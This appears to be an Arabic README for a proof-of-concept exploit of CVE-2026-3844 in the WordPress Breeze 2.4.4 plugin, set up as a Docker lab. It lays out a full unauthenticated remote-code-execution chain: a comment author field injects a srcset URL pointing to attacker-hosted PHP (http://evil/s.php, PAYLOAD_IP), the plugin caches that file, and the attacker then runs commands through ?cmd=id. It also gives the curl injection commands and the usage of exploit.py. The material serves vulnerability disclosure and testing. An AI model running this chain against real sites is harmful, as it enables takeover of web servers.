المهاجم                          ووردبريس + Breeze 2.4.4
   |                                        |
   |  1. POST /wp-comments-post.php         |
   |     author=x srcset=http://evil/s.php  |
   |  ------------------------------------> |
   |                                        |  تم حفظ التعليق
   |                                        |
   |  2. GET /?p=1                          |
   |  ------------------------------------> |
   |                                        |  يتم تفعيل فلتر get_avatar
   |                                        |  breeze_replace_gravatar_image()
   |                                        |    يستخرج عنوان srcset عبر التعبير النمطي
   |                                        |    يستدعي fetch_gravatar_from_remote()
   |                                        |
   |            3. download_url()           |
   |            http://evil/s.php           |
   |         <----------------------------- |
   |         محتوى ملف PHP                  |
   |         -----------------------------> |
   |                                        |  يتم الحفظ في:
   |                                        |  wp-content/cache/breeze-extra/
   |                                        |    gravatars/s.php
   |                                        |
   |  4. GET /wp-content/cache/breeze-extra |
   |         /gravatars/s.php?cmd=id        |
   |  ------------------------------------> |
   |                                        |  يتم تنفيذ PHP كمستخدم www-data
   |         uid=33(www-data)               |
   |  <------------------------------------ |

cd docker/
docker compose up -d --build

curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# المتوقع: Stable tag: 2.4.4

curl -X POST "http://localhost:8088/wp-comments-post.php" \
    -d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
    $(docker compose -f docker/docker-compose.yml ps -q payload)

curl -s "http://localhost:8088/?p=1" > /dev/null

cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php

usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
                  [--timeout TIMEOUT] [--wait WAIT] [--check-only]

  -t, --target      عنوان URL المستهدف لووردبريس (مطلوب)
  -p, --payload     عنوان URL لحمولة PHP المراد رفعها
  --post-id         معرف المنشور المحدد للتعليق عليه
  --timeout         مهلة HTTP بالثواني (الافتراضي: 15)
  --wait            ثواني الانتظار للمهام المجدولة (الافتراضي: 12)
  --check-only      التحقق من إصدار الإضافة فقط دون استغلال

cd docker/
docker compose down -v --remove-orphans

cve-2026-3844/
  README.md              # هذا الملف
  docker/
    Dockerfile           # صورة ووردبريس + Breeze 2.4.4
    docker-compose.yml   # بيئة كاملة (WP + MariaDB + خادم الحمولة)
    entrypoint-custom.sh # تهيئة تلقائية لووردبريس بالإعدادات المعرضة للثغرة
  poc/
    exploit.py           # سكربت استغلال آلي
    validate.sh          # أداة تحقق شاملة عبر Docker
  payloads/
    shell.php            # حمولة PoC غير ضارة (echo + id)
  screenshots/           # لقطات شاشة SVG الطرفية (Charm freeze)
  validation/            # مخرجات التحقق من قابلية الاستغلال RAPTOR